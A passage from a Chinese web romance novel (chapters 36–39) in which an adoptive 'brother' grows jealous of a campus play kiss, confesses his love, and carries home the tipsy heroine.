你能看到吗?” 谢昱宁哑然失笑, 她扯动半天都是徒劳,压根没找到正主。他握着她的手腕将她的手放下,安抚道:“我能看到,我来。” 微卷的发丝被她裙身的蝴蝶装饰物勾住,丝丝缕缕缠绕着,仿佛把蝴蝶改成了吐丝的蜘蛛,还是黑色的丝。他指尖放慢,动作轻柔,细致的把每根发丝都解救出来。 片刻后,他将被解救的长发握在手中,空出的手去拢其他的发丝。 带着雪松气息的手靠近她的脸颊,修长的指骨勾起凌乱的碎发,统统将其拢到身后。 她抬着头不敢动,又看不到后面,只能感觉头发有轻微的拉扯,“你在干嘛?哥。” “绑起来就不会勾住了。” 他的手掌很大很宽,轻松将如瀑的长发牢牢握住。空出的手学着她的模样整理着,动作很慢,也很生疏,显然没有给女生梳过头发。 钟卿悦僵在原地,关节像是钉在了一起,动弹不得。 随着时间缓慢拉长,血流开始加速往耳朵脖子脸颊冲去,大片的红晕浮上耳廓,她只觉很热,当下环境也闷得不行,似乎缺乏氧气。 谢昱宁专注于自己的“工作”,甚至有些乐在其中。 整理顺发丝,他从口袋拿出一个崭新的黑色皮圈,不熟练地将长发塞进去,倒了好几下手才转了一圈,成功绑起来。 “你哪里来得皮圈……”钟卿悦低声问道。 “上次火锅店给的。” 钟卿悦朦朦胧胧想起来,好像当时她有夹子,没有用,戴在手上又嫌太紧,就随手给了他。 “怎么还在……” “一直随身带着,派上用场了。” 谢昱宁将她的碎刘海散下来,钟卿悦偏头躲开,脸上更加滚烫。 “走啦走啦,回家了。”她垂下眼睑,大步往电梯口走去。 他们身后的包间们缓缓关闭,裴渊站在包厢里激情开麦,“我就问你们,你们谁见过谢昱宁笑,谁见过他给姑娘梳头发!” 徐总噌的一下站起来就往门口走,“真的假的?” “哎呦,都走了,刚才让你来看你不来。”裴渊推他坐下,“刚才那幅画面能载入史册了,那动作那表情那氛围,就差吹粉色泡泡了。” 徐总一拍大腿,“可惜可惜,这种时候没看见。” “来来来,下注下注,赌谢昱宁年底能不能脱单。”裴渊说着掏出手机,“我在群里吆喝吆喝,我先下五万,我赌他白搭。” 徐总兴致大发,“我看谢总行,我翻倍跟你。” 此时这场赌局的焦点正悠哉游哉去夜市了,钟卿悦还是没能忍住美食的诱惑。 — 暑假在兵荒马乱中接近尾声,八月下旬,钟卿悦突然收到话剧社的通知,九月开学后有个迎新晚会,话剧社为了纳新和评优要排练新的话剧演出,强制要求提前返校。 钟卿悦也在家里呆无聊了,四肢都要躺退化了,索性提前回去还能找点事儿干。 收到通知的第二天她就和谢昱宁收拾东西准备返回故城。 钟妈得知后,不着痕迹对谢昱宁说道:“昱宁,你要是江城忙就让你爸送悦儿好了,你还是要先忙工作。” 谢昱宁看着钟妈,神色坦然,“没事,故城也有项目。” “港口项目接近尾声了吧?”钟爸无心搭了一句话,让钟妈心里又不肃静起来。 话题转到工作,钟妈也没再多说什么。 翌日返回故城,下午钟卿悦便去了话剧社报导。 社团总共需要排两场话剧,她和路畅被安排演出《红玫瑰与白玫瑰》。商议后决定采用传统的演出方式,两人分饰一角,一个演出内心,一个演出外在。 钟卿悦拿到的角色是王娇蕊的内在。王娇蕊热情奔放,美艳活泼,因留洋读书,思想开放,常常玩一些欲擒故纵的爱情游?*? 戏。她的内在复杂,具有挑战性,需要深入理解角色,用细腻的表演技巧来演绎出王娇蕊内心欲望和道德的挣扎。 分配完女性角色后,社长又开始讨论她理想中适合饰演男主人公佟振保的演员。 经过讨论和分析,最终决定让周沐渊来出演。 佟振保表面是个老好人,出身寒微却凭借努力出国留学,归国后成为外国商社的职员,敬业、孝顺、仗义,是那个时代下的模范青年。 周沐渊的外在很适合这个角色,当他的脸一出现就能和外人眼中所看到的佟振保重合。 拿到这个角色周沐渊十分开心,说了很多对角色的理解。时不时还会看向钟卿悦,眼睛里都是对这场话剧的期待。 钟卿悦有些头疼,这个话剧围绕三个人的感情纠葛,她和周沐渊本身就剪不断理还乱,想想就痛苦。 从活动中心出来后,路畅凑近她压低声音道:“周沐渊开心坏了。” 钟卿悦欲哭无泪,“我要愁坏了。” 路畅摸摸她的后背,“没事,只是演出。” “希望他能这么认为吧。” 钟卿悦前脚说完,身后立刻传来周沐渊着急的声音,“钟卿悦同学,等一下。” 她太阳穴一跳,怕什么来什么。 周沐渊仓皇跑到她面前,“钟卿悦同学,我能加一下你好友吗?方便我们讨论剧本。” 这个理由堪称完美,她完全无法拒绝,沉默片刻,她掏出手机,“好的。” 周沐渊嘴角瞬间带上笑,手忙脚乱地拿着手机点开二维码,“你扫……” “不对。”他立刻关上,点开扫一扫,“我扫你。” 叮的一声轻响,下一秒钟卿悦就收到添加好友信息。 周沐渊笑着望向她,又看了眼路畅,表情有些腼腆,“希望我们可以展示一场完美的演出。” 钟卿悦附和地笑了笑,“我们先走了。” 周沐渊连连点头,他的目的很简单,能加上钟卿悦的微信就已经迈出很大一步了。 开学前的日子就是排练排练排练。和谢昱宁同一屋檐下生活也变得不那么自在,她总想着搬回小公寓,但又没找到合适的理由,一拖再拖。 这天晚上,她在客厅沙发上躺着看综艺,谢昱宁接了个电话离开,隔了许久后才回来。 她瞥了他一眼,没放在心上,他却开口了,“我明天回一趟江城,晚上就回来了。” 她嚼着牛奶糖,心不在焉地应下,“没事,不用管我,我自己可以。” 谢昱宁沉下目光,最近的她太过反常,对他爱答不理,也不喊他打游戏,也不带他去探店。他原本想等一切尘埃落定后再做下一步行动,即便清楚她有喜欢的人,他也可以忍下去。 可当真的面对现在的她,对他冷漠成这个样子,加之他刚知道…… 他手紧握成拳,“你在和周沐渊一起排话剧?” 钟卿悦动作一顿,诧异看向他,“你怎么知道?” 谢昱宁不回答,反问道:“你喜欢的是他?” 怎么又扯回这个话题了?为什么他不回答光提问呢? 钟卿悦转回头看电视,“我不喜欢他。” “你喜欢谁?”谢昱宁声音寒凉。 她蹙起眉,“你怎么又问这个问题,我不是回答过你了嘛。” 谢昱宁垂下眸子,头像是要炸了似的,生疼,“让我见他,你说过要我给你把关。” 钟卿悦:“我谁也不喜欢。” “你之前不是这么回答的。” 钟卿悦猛然从沙发上坐起来,“我不想跟你聊这个话题,你到底要干嘛啊谢昱宁!你真的好讨厌!!!” 成年后她第一次喊他的名字,在愤怒到极点的时刻。目光在空中交汇,他眼神冷冽异常,仿佛淬了毒的刀子,落在她身上划得遍体鳞伤。 她先一步躲开视线,声音添了丝哽咽,“我要搬回小公寓。” “为什么讨厌我?” “为什么搬走?” 他欺身靠近,一把握住她的手腕,周身清寒的气息比空调吹出的风还要冷冽。 她被迫靠在沙发的扶手处,谢昱宁就那么撑着沙发背将她圈在范围内,她退无可退,只能挣扎手腕,空出的手推他的肩膀,“你放开我,哪有那么多为什么,你是十万个为什么吗?” “我哪里不好?” “你没有不好啊,你很好,你好得很。”她推着他的肩膀,但他纹丝不动,熟悉的气味笼罩在她鼻息间,搅得她心烦意乱。 “你为什么不能……” 喜欢我? 他的话没有说完。 【📢作者有话说】 [让我康康]晚上好! 37 第 37 章 ◎接吻◎ 钟卿悦趁着他愣神之际, 迅速钻出包围圈。她熟练的像个泥鳅,饶是谢昱宁反应极快也只碰到她衣袖。 她赤着脚跳下沙发,连拖鞋都没穿, 匆匆往楼梯口跑去。 “钟卿悦!”谢昱宁怒气冲冲喊道。 “别叫我别叫我。”她捂着耳朵一溜烟已经跑到二楼拐角处。 谢昱宁黑着脸跟上, 三步并作两步, 抬腿迈过三层台阶, 速度极快地追上, 倾身一把拉住她胳膊。 她大惊失色,挣扎着想脱离桎梏,然而他只是轻轻一用力拉扯,她便失去中心往后倒去。 始作俑者眉梢微挑,坦然张开手臂。 她低呼一声,下意识伸手去抓他, 下一秒,身子稳稳落进他怀中。 他微微勾起唇角,露出得逞的淡笑, 双臂收拢, 将她环在胸前。 她的脸紧贴在他胸口处,耳边全是强烈的心跳声,砰砰砰的, 如雷贯耳。她瞪着眼,已经分辨不清究竟是自己的心跳还是他的。 还未反应过来,她只觉身子一轻, 双脚骤然离地。 他把她抱了起来! 她瞳孔猛然收缩,不可置信地看向他, “你你你……” “穿鞋。”他薄唇轻启, 语气没了方才的冷冽, 多了些轻松淡定。 “你……你放我下来!” 钟卿悦挣扎着,试图将腿从他臂间滑下来,他眉头微微一蹙,小臂收起,牢牢将那双作乱的腿箍住,“非受凉才罢休?” 逃离无望,她偏开头,不满地抱怨了句,“你轻点。” 谢昱宁冷哼一声,手臂回撤一分,力道松了一些,但仍然无法让她逃脱,“这招用过了。” 小伎俩被拆穿,她脸颊瞬间浮起两团红晕。即使如此,她仍不甘示弱,不服气地吐了吐舌头,搭在他肩膀上的手悄然垂下,蓄力几秒后,猛然落到他两胁处,一捏。??? 怎么这么硬? “你是钢铁侠吗?” 谢昱宁眯起眸子,“偷袭?” 她连忙摇头,“不是不是不是,我就是捏捏看,没别的意思。” “捏捏看?”黑眸一瞬不瞬地盯着她,“都捏过谁?” 钟卿悦目瞪口呆,张了半天嘴才吞了下口水,支支吾吾问道:“你…你怎么现在问的问题那么奇怪?” “你考试时的问题都会?” 钟卿悦:“这……这不是一码事好吗?” “怎么不是?异曲同工。” 话音落,他已经抱着她到了沙发边,却丝毫没有放她下来的意思。 “好了,放我下来。”她道。 谢昱宁懒懒歪头,“刚才的问题还没回答我。” 钟卿悦装傻,“什么问题?哪有问题?你是不是失忆了?你可能太困了,你该睡了。” 谢昱宁轻笑一声,“没事,不回答你下不去。” “你能不能正常点!你是不是被人下药了?不对,下蛊了?还是发烧了?烧迷糊了?”她覆上他额头,她掌心微凉,他体温滚烫,“你看,你发烧了,快放下我来,我给你拿药,一会儿再给你烧坏了。” 她宛如无头苍蝇,死命往墙壁上撞,就盼着能在没撞死前找到出口。 谢昱宁乐在其中,不慌不忙由着她,“在烧到42摄氏度前,我都能坚持。” “行,好。”钟卿悦咬牙切齿,“你想让我回答什么,你说。” 谢昱宁:“自己想。”??? “谢昱宁!你不是人!你到底要干嘛啊啊!你是不是被人夺舍了,我救你,我救你行不行,你告诉我怎么救,我一定能救的。” 谢昱宁淡淡扬起下巴,目视前方,不打算理她。 钟卿悦抽抽嘴角,努力保持微笑,好汉能屈能伸,“好,回答问题是吧,我答。” “我谁都没捏过,就捏过你自己,行了吧?” 他余光瞥向她,轻描淡写应了声,“确定?” “确定一定以及肯定,我发誓,如果骗人我这辈子发不了财!” “下一题。” 钟卿悦不可置信地瞪大眼,“哪有下一题???” 谢昱宁挑眉,“你逃跑之前我问了的。” 钟卿悦一脸茫然地皱起眉头,绞尽脑汁地想,那会儿根本没在意啊,他问啥了?? 看她发懵,谢昱宁大发慈悲道:“为什么讨厌我?为什么搬走?” 她恍然,原来问这个啊…… 这怎么回答? 她挠挠头,顾左右而言他,“你累吗哥?” “不累,就当练无氧了。” 钟卿悦皮笑肉不笑,“没事,我等你累。” 谢昱宁冷下脸,“这两个问题有那么难回答吗?” “是啊是啊,你以为呢。” “好。”谢昱宁冷声应下,他有的是时间,僵持吧。 十秒…… 三十秒…… 一分钟…… “好吧,好吧,好吧。”钟卿悦认了。 谢昱宁目光落在她脸上,等待答复。 “我没有讨厌你,哥,真的没有。”她回答地异常诚恳,“我说那句话就是一句气话,你总问我喜欢谁喜欢谁,我明明说了我谁都不喜欢了。” 她越说声音越小,心虚地不敢看他。她真的不会说谎啊,一想到是在说谎耳朵就发热,这什么实诚人圣体啊! “我第一次问的时候你为什么不这么回答?”谢昱宁眯着眸子审视她。 钟卿悦装没听见,“好了好了,下一个问题,搬家是吧?” “我就随便说说,那不是气话嘛,我没打算搬家,这大房子住着多舒坦,还有袁姨做饭。我又不傻,还能分不清哪边住得更好呀,你说对不对,哥哥。” 她笑容谄媚,嘴甜的像抹了蜜似的。回答的滴水不漏,谢昱宁明知道这些话是搪塞之言,但找不出漏洞。 对视几秒,钟卿悦心底一颤,忙躲开他的视线,“好了,可以放我下来了吧。” 谢昱宁不接话,“你跟周沐渊的演出拒绝掉。” 钟卿悦无奈叹口气,“我俩就是同事,你放心,我喜欢谁也不会喜欢他的,我知道你看不上他,我也看不上。” 沉默一瞬,谢昱宁倾身将她放到沙发上。 屁股有了着落,她瞬间满足地晃了晃。 谢昱宁居高临下看着她的模样,无奈地叹口气,真的拿她束手无策,三言两语就被打发。 “我明天回江城,你在家乖乖的。” “知道了知道了。”钟卿悦穿上拖鞋,立刻逃离这是非之地,最近的谢昱宁跟吃了枪药似的,指不定点到哪儿就要炸,她还是少接触他为妙。 见她要走,谢昱宁脸色微变,“你为什么不问我回去干嘛?” 钟卿悦满脸问号,这也得问? 视线交汇,她发现他问的认真,眼神异常坚定。 好,好,好! 钟卿悦宠溺一笑,“哥,你明天回去干嘛?” “回谢家处理点事。”他道。 钟卿悦忽然皱起眉,“你怎么还接触谢家,他们老欺负你。” 谢昱宁神色缓和,“欺负我的都进去了。” 钟卿悦不自觉想起谢宇谦,后背发凉,一阵后怕。 谢昱宁似乎可以看透她的内心,“谢宇谦不会出现了。” 她点点头,“那你二叔呢?” “他会判很久。” 钟卿悦撇撇嘴,“没了他们还行。感觉嘉希姐人还不错,倒也可以接触。” 她这会儿的反应倒有点恢复正常,谢昱宁捉摸不透。 “好了,我去睡觉了。”钟卿悦坦然转身,走出去两步又回头,不自然轻咳一声,“那什么,明天注意安全。” 谢昱宁勾起唇角,笑意清淡,“嗯,明天我先送你去学校。” “哦,对,明天开学了。”她仰天叹气,“哎,怎么假期就转瞬即逝了呢。” — 谢昱宁离开故城两天,接着就回来了。 钟卿悦刚开学特别忙,除了上课还跟着社团去纳新,还要抽时间排练,背台词,没有一刻闲,这也导致没跟谢昱宁作什么妖。 她偶尔静下心来想,只要能够忍受突发的心动,她还是可以努力恢复和谢昱宁的相处。 不过确实没办法回到过去,尤其是过分亲密接触时,她心都快跳出来了。她捉摸着,经常这样应该会猝死的吧……? 百般纠结,矛盾萦绕在心底。 有时她觉得谢昱宁真的很单纯,那晚那样抱着她,真的是兄妹该有的边界感吗? 可他似乎没有任何察觉,不觉得这样做越界了。但她不单纯了啊,在她心里只有情侣可以这样亲密接触。 他们不是情侣,是兄妹,即使没有血缘关系,但周围的人不知道,都默认他们是亲兄妹。 欲望和道德交织在一起,不断拉扯她的情绪。 偶尔深夜她在床上辗转反侧,想不明白时就想摆烂,随着自己的心走,喜欢就喜欢呗。 但当天光微明,天际泛起鱼肚白时,一切情绪都压回心底深处。他是她的哥哥,不能做违背道德的事情。如果他知道,也一定会把她当成怪物看的。 想不通,只能暂时放下。 九月底,话剧卡在基础排练阶段。或许是他们经验有限,也或许是主人公的内心过于复杂,钟卿悦饰演的王娇蕊内在和周沐渊饰演的佟振保始终找不到诱惑与拉扯。 钟卿悦其实有所意识,有一部分原因是她和周沐渊奇怪的关系。排练时周沐渊总是有意无意提起对她的好感和欣赏,她十分抗拒这样的感觉,也会把这种情绪带入话剧表演中,潜意识就会拉远和他的关系。 卡了几天后,导演开会商议,决定微调剧本。既然无法通过神态表情体现出两人的暧昧,那就只能添加肢体接触,从视觉上达到想要的临界点。 钟卿悦本能的提出拒绝,周沐渊则没有任何意见,沉默的像没有这个人。导演也坚持己见,循循善诱给钟卿悦剖析人物内心和剧本走向。 “你不要多想,不是什么越界的行为,只是拥抱和借位接吻。”导演耐心劝说着。 钟卿悦清楚这是表演,也不是不敬业,只是因为对方是周沐渊,如果此刻换任何一位男演员,她都不会有意见。 思忖许久后,她还是同意了,毕竟在最初她没能拒绝角色,那眼下只能克服困难。 微调了剧本,排练几次后,钟卿悦倒还能接受。情感也达到了导演的预期,一切都顺了下来。 十月中旬,演出定檔。 钟卿悦没主动给谢昱宁门票,他却主动找她要。她没理由拒绝,只好把票给了他。 演出当天,谢昱宁坐在前排的位置。 红色帷幕拉开,钟卿悦站在舞台左侧,最为靠近他位置的地方。 她穿着一身玫红色的旗袍,勾勒出曼妙的身体曲线。长发挽在脑后,额前是蓬松的卷发,尽显留洋大小姐的气质。 随着演出缓慢推进,王娇蕊和佟振保的感情深入。 搂肩…… 牵手…… 拥抱…… 【📢作者有话说】 [奶茶][奶茶]哥哥快摊牌了 38 第 38 章 ◎钟卿悦,我爱你◎ 当借位接吻出现在舞台上时, 场内响起细细的哗然之声。 周沐渊的手搭在钟卿悦的腰间,偏起的头挡住她一半的侧脸,她微微阖着眸子, 眉间是掩饰不住的欣喜。 观众的视角无法分辨这场接吻的真假, 谢昱宁亦是。 他冷脸望着舞台, 眸色阴森沉黯, 蕴起的怒气正在逐步积攒, 吞噬理智,他嫉妒的要疯了! 接吻转瞬即逝,剧情继续推进,王娇蕊被现实拉扯,情绪低落地坐在房间一角,搅拌着咖啡。 钟卿悦趁机抬眸瞥向谢昱宁坐的位置, 不知道他看见刚才的举动是什么表情。 目光落过去,位置上空空如也,不见他的身影。她下意识松了一口气, 他没看到是最好的, 原本他也不喜欢周沐渊,她还要费心跟他解释这只是演出。 演出还在继续,她收拢思绪, 投入进表演中。 长达两小时的《红玫瑰与白玫瑰》落下帷幕,灯光缓缓暗下,场馆内响起雷鸣般的掌声, 经久不息。 灯光再次亮起时,演员鞠躬谢幕。 疲惫与释然席卷钟卿悦的身体, 王娇蕊的挣扎与妥协都在此刻带给她不一样的感触。 她直起身体时, 目光再次看向谢昱宁的位置, 他却一直都没回来。 红色幕布徐徐拉起,演员们相视一笑,路畅冲上来抱住钟卿悦,“太好了!演出很成功!” 外面掌声如潮水般涌来,钟卿悦扬起笑容,“真好。” 周沐渊走到两人身边,“钟卿悦同学,演出顺利,很高兴认识你。” 钟卿悦松开路畅,对着周沐渊微微颔首,l礼貌疏离,“谢谢。” 导演此刻从后台处走上来,“退场了退场了,我们去庆功宴!” 众人陆续从侧面走向后台,钟卿悦和路畅在最后面,周沐渊安静沉默地跟着两人。 退到后台,刚拐到走廊,谢昱宁的身影忽然映入眼帘,他双手插兜站在拐角处,脸色森然,眸光冷冽。视线交汇,他眯起眸子看她一眼,继而越过她看向她身后的周沐渊。 钟卿悦走到他身旁,对路畅道:“你先去化妆间等我,我马上过去。” 路畅应了声,礼貌对着谢昱宁点点头打招呼。周沐渊对他有点畏惧,对视一下后也尴尬地笑了笑。 他和路畅离开后,走廊里除了偶尔经过的工作人员外,只剩她和谢昱宁。 她走上前,“哥,刚刚演出你怎么不在?” 谢昱宁口袋里的手握紧,面色阴鸷,“接了个工作电话。” “哦,这样啊。”钟卿悦不甚在意,“那你先回家吧,我要去参加庆功宴。” 谢昱宁闭了闭眼,努力压下即将爆发的情绪,声色低哑,“我们回家。” 钟卿悦蹙起眉头,不解道:“我要先去庆功宴,结束就回家了。” “别去。” 钟卿悦:“为什么?” 谢昱宁抬起手腕看了眼时间,“很晚了。” 钟卿悦掰过他的手看了眼手表,“哥,你是不是对时间有什么误解,你管下午六点叫很晚了吗?” 谢昱宁没说话,反手握住她的手腕,不由分说拉着往出口走去。 “你干嘛呀!”钟卿悦低唤一声,奈何力气根本不敌,脚步踉跄地被拉着走。 走出去没多远,钟卿悦实在生气,甩着手腕怒道:“谢昱宁,你放开我!” 他猛然停住脚步,回头冷冷看着她,“别去庆功宴。” “为什么?你给我个理由。我付出两个月的时间换来这场演出,演出很成功,我很开心,我和同学去庆功宴怎么了?” 谢昱宁沉默片刻,拉着她直奔楼梯间,单手推开防火门,将她塞进去,自己随之跟上。 防火门砰的一声关闭,耳边只剩寂静。 钟卿悦:“你到底要干嘛。” 他目光沉沉地看着她,“有周沐渊。” 钟卿悦烦躁地甩开他的手,“为什么反复提他,我跟他只是同学,怎么说了你也不信呢。” 手中落空,谢昱宁垂眸看着空落落的手心,胸口一阵刺痛,“同学会接吻吗?” 他看到了? 钟卿悦愣怔一瞬,“那只是演出需要。” “那我怎么办?” 他缓缓朝她靠近,俯身与她对视,脸越来越近,炙热滚烫的呼吸喷薄而出,她的鼻息间都是浓郁的雪松气息。 她被逼地连连后退,他却不肯放过她,她退一寸他便近一尺,直至她后背贴到墙壁,退无可退。 “你跟他接吻,我怎么办?” 一字一句砸在她心底,她只觉头脑发昏,耳畔反复回响这句话。 “你疯了,你在说什么?”她不可置信盯着他的眼。 他闭了闭眼,轻嗤一声,“我知道我在说什么。” 钟卿悦推着他的肩膀,“我不想听,你让开。” 她脑子里很乱,一团乱麻理也理不清,太阳穴发紧发胀,牵连着眼眶生疼。 谢昱宁任由她推着,“我比他们都爱你。” 她心脏猛然收紧,仿佛被一双大手狠狠攥着,眼前发黑,全身激起层层薄汗。 他们两个人都疯了…… 她试图拉回自己的理智,手紧紧握在一起,声音微颤,“我知道,是哥哥对妹妹的爱。” “不是。你还没明白,钟卿悦,我爱你,是想成为你男朋友,和你结婚,永远生活在一起的爱。” “你别说了,你别说了。”她捂住耳朵,“我求你了,你别说了。” 两人所建立的所有和谐关系在这一刻都土崩瓦解,他在用哥哥的身份和她表白,可她呢?她是喜欢他的,可她迈不过去这一步,这太奇怪了。 她拼尽全力推开他,眼眶发红,澄澈的眸子里蕴起水汽,却一眨不眨地盯着他,“我就当没有听到过,你不要再说了。” 谢昱宁沉默不语,两人相视对峙许久,钟卿悦转身拉开门离去。 出了楼梯间,她盈着的泪水瞬间滑落眼眶,她慌乱擦拭,却怎么也擦不净,如果他不是她哥哥该多好。 路畅卸完妆出来寻她,就看到她一边慢吞吞走一边揉着眼睛。 “卿悦,你怎么了?”路畅慌张跑上前。 闻声,钟卿悦赶紧低下头,“没事。” “你怎么哭了?”路畅用指尖帮她擦掉脸颊的泪,“跟你哥哥吵架了吗?” 钟卿悦点头应了声,“我没事。” 路畅拉着她往化妆间去,“她们先去餐厅了,我陪你去卸妆。” “谢谢你路畅。”她哽咽道。 “我们说什么感谢,我们是朋友啊!”路畅扬起笑容,拍着她后背,“兄弟姊妹拌嘴很正常的,俗话说,打断骨头连着筋。毕竟是一家人,吵过也不会放在心上。” “我没有哥哥,我有三个妹妹,小妹妹今年十岁,她有时候给我发信息,都是很简单的话,因为她认得字很少,都是说吃了吗?你好,大姐,这样的话。” 路畅说着,神情有很多向往,“关系就是这样,在一起时吵吵闹闹,分开了就会想。” 钟卿悦安静听着,她很感谢路畅的安抚,虽然和她所经历的大相径庭,但她可以感受到语言里的温暖。她无法倾诉自己的事情,只能闷在心里慢慢消化。 卸完妆换下演出服,钟卿悦的情绪也稳定下来,她就是这样的性格,破防会很快,自愈也会很快。 两人打车到了约定的火锅店,社团其他人都在等她们,她们进包厢后,社长便招呼着几个男生开始涮肉。 社长:“卿悦,路路,你俩喝酒还是喝饮料?” 路畅:“我俩喝饮料,不会喝酒。” 话音刚落,钟卿悦接话道:“我喝酒,给我酒吧。” 路畅忙按住她胳膊,“你会喝酒吗?你别喝多了。” 钟卿悦安抚地笑笑,“没事,不是还有你。我很烦,我想喝醉了试试。” 路畅有些犹豫。 钟卿悦又道:“没事,放心。” “好吧,我会照顾你,你也少喝点。” 社长递来冰镇啤酒喝梅子酒,“这两种,你自己挑吧。” 钟卿悦应下,都放在了面前。 火锅咕嘟咕嘟冒泡,鲜香麻辣的气味直冲鼻尖。社长起身举杯,高兴道:“历时两个月,我们将《红玫瑰与白玫瑰》搬上了舞台,观众们反响热烈,这是对我们长期付出最好的回报。无论这次社团评优结果如何,我觉得我们都已经尽了最大努力,我相信有心自会相成。让我们一起干杯,庆祝今天圆满完成演出。” “干杯!”众人兴奋碰杯。 钟卿悦第一次喝冰镇啤酒,第一口下去像无数小冰球在口腔中爆裂,带来酥麻的爽感,随着滑进舌根、喉咙,啤酒的苦味蔓延开来,她忍不住蹙起眉头,坚持着将一整杯灌下肚。 路畅目瞪口呆地看着她,一直在她耳边说道:“卿悦,你慢点喝,会喝醉的。” 她将杯子放下,咽下最后一口,口中已经冰的没了直觉,“没事,还挺爽的。” 周沐渊坐在她斜对面,略带担忧的眼神望了过来,钟卿悦看了他一眼,淡然地瞥开视线。 麻辣火锅配着冰镇啤酒,口腔像陷入冰火两重天,渐渐的两瓶啤酒都让她喝光,她又拧开梅子酒倒进杯里。 路畅担忧地看着她,“卿悦,你不开心吗?你要不要跟我讲讲。” 钟卿悦唇角勾起一个苦涩的微笑,她该怎么说自己的难过呢? “我没事。”她声音疲倦。 路畅无从下手,只能不断给她夹吃的,希望她多吃点就少喝点。 不知不觉间,一整瓶梅子酒也被她喝光,她头开始发晕,脸颊烧的滚烫,看人的眼神迷离懵懂,外显的一切都让她看上去迷迷糊糊,可脑子却很清醒,一直在不断上演谢昱宁表白的场景。 路畅顺着她后背,“你难受吗?” 钟卿悦歪头看她,对视一瞬后依赖地朝她靠去,脑袋抵着她颈间,语气闷闷的,“路畅,我不开心。” 路畅摸着她的头,安慰道:“我知道,没关系,情绪很快就会过去的,每个人都会有不开心的时候。” 钟卿悦蹭着她的手,像一只犯懒的小猫咪,“为什么呢?你说是为什么?” 为什么他要是她的哥哥? 可他明明不是她的哥哥,他只是跟她生活在一起而已。 可他没有家了,钟家就是他的家,他就是她的哥哥。 钟卿悦越想越委屈,撅着嘴噙着泪看向路畅,“这个题好难,我不会做,我回高中重新学好不好?” 路畅从没见过她这副样子,她印象里的钟卿悦开朗乐观,从不会被情绪左右,豁达真诚,爱憎分明,是个自信果敢的女孩子,可此刻她却脆弱敏感,像飘荡在水中的浮萍,无依无靠。 路畅拍着她安抚着,对社长说道:“社长,我先送卿悦回家了,她喝醉了。” 社长诧异,“怎么喝醉了,这才刚吃多一会儿啊。” 路畅:“她以前不喝酒的,今天太高兴了,喝的又有点急,就醉了。” “那我陪你送她回去。” 说着社长起身拿外套,周沐渊先一步阻止,“社长,我送她们吧。” 社长看他一眼,“那也行,你是男生,还稳妥点。” 路畅想开口拒绝,因为她知道钟卿悦不喜欢周沐渊,但她扶着钟卿悦起来时,发现她自己根本照顾不好钟卿悦,便只能答应下来。 两人搀扶着钟卿悦出了餐厅,在路边打车。钟卿悦像树懒似的黏在路畅身上,也不说话也不闹,就呆呆看着远处。 上了出租车,路畅报了钟卿悦家的位置。 钟卿悦猛地从她身上爬起来,眨眨眼,“路畅,你居然知道我家。” 路畅像哄小孩似的,“对啊对啊,我当然知道。” “你果然是我的好朋友。”钟卿悦嘿嘿一笑,又双手环抱住路畅的脖子。 周沐渊坐在副驾驶回头看,“她喝了多少?” 路畅含糊地说了句,“就几杯吧,没多少。” 十几分钟后,车子开进小区,拐了几个弯后停到精致的花园洋房前。 周沐渊下车有些惊讶,“好大的房子。” 路畅多少对钟卿悦家庭情况有所了解,只是点了点头,没有多说话。 按响门口的可视门铃,楼门很快打开,谢昱宁从房里走了出来,门口光线昏暗,他却一眼看清钟卿悦的脸。 走到门口,拉开铁门,路畅礼貌道:“哥哥,你好,卿悦喝醉了。” 谢昱宁没说话,目光沉沉落在钟卿悦脸上。 钟卿悦双颊绯红,眸光如丝,刘海有些凌乱,身子有一大半都靠在路畅身上,另一只胳膊被周沐渊搀扶着。 “到家了吗?”钟卿悦迷迷糊糊说着,眼睛眨巴眨巴识别了一会儿,突然猛地站直身体,“哥。” 谢昱宁没讲话,沉默地接过她,对着路畅微微颔首,“谢谢。” “没关系,我们先走了。” 谢昱宁点点头。 路畅和周沐渊离开,谢昱宁扶着她往屋里走,她脚下发虚,走两步歪一步,半天都还在原地打转。 谢昱宁蹙起眉,俯身将她抱起。 脚下一空,眼前天旋地转,她下意识搂住他的脖子,“哥,我好晕……” 【📢作者有话说】 谢总:[可怜][可怜][可怜] 39 第 39 章 ◎试用期男友◎ 谢昱宁冷哼一声, “喝醉了嫌晕了?” “我没醉,你放我下来,我自己能走。”她勾着他的脖子, 头往外侧歪着, 尽可能拉开两人之间的距离。 这样的举动让谢昱宁十分不爽, 他将手放在她脑后, 微微一用力便把她摁到自己肩膀上, “老实点。” “唔……”她闷哼一声,整个脸都被闷在他颈间,挣扎蹭着想要脱离,“放开我。” “不放。”谢昱宁抱着她大步往楼门口走去。 “你要憋死我了。”敌不过他的力气,她开始耍赖装难受。 带着浓重酒气的呼吸灼热滚烫,随着说话喷在谢昱宁的脖颈处, 瞬间激起他全身战栗,被她唇瓣接触的肌肤浮现一层绯色。 他喉结上下滚动,咬紧后槽牙, 松了些手上的力道, 却又能保证她无法离他很远,“等你自己走什么时候能进门?” 她用力抵了抵他的手,发现还是无法脱离, 只好认命的将下巴搁在他肩膀上,“我自己慢慢走啊,又没让你管我。” 脖颈间没了她的呼吸, 他身体放松许多,他没接话, 无声叹息一下, 手揉了揉她的脑袋, 像哄孩子似的。 她撅着嘴,晃晃脑袋,“不要摸了,长不高都怪你。” “现在还长个子呢?”谢昱宁语气放软。 “长啊,二十三还窜一窜呢。” 说话间,两人进了门。谢昱宁将她放在玄关的换鞋凳上,她迷迷糊糊靠着鞋柜,脸碰到木板时,她眯起眼舒服地蹭了蹭,“好凉呀。” 谢昱宁蹙起眉,扶着脑袋让她靠到后面的墙上,“不能蹭。” 她不满地撅起嘴,“为什么?” “因?*? 为太凉。” 他从鞋柜里拿出她的拖鞋,蹲在她面前,双手去解她的鞋带。 她察觉异样,闭着的眼睛睁开,恰好谢昱宁握住她的脚腕要帮她脱掉鞋子,温热的肌肤碰到微凉的手掌,她一下子清醒许多,猛然抽出,“我自己来。” 她仓皇低下头手忙脚乱蹬下鞋子,谢昱宁没说话,安静看着她,脸色有些冷。 她穿上拖鞋,立刻从换鞋凳上站起来,想要远离谢昱宁,但实在是醉意上头,立刻晃晃悠悠地往一边倒,谢昱宁眼疾手快扶住她,“逞什么强?” “没有。”她嘴硬,闭了闭眼,迷蒙道,“我自己可以。” 她自以为良好的往前走了几步,结果左脚踩住右脚拖鞋,险些又要摔倒,谢昱宁冷哼一声,搀着她往沙发走去。 将她安顿在沙发上,他嘱咐道:“老实坐着。” 她迷迷糊糊靠着应了声。 谢昱宁确认她没事,转身去厨房冲蜂蜜水。 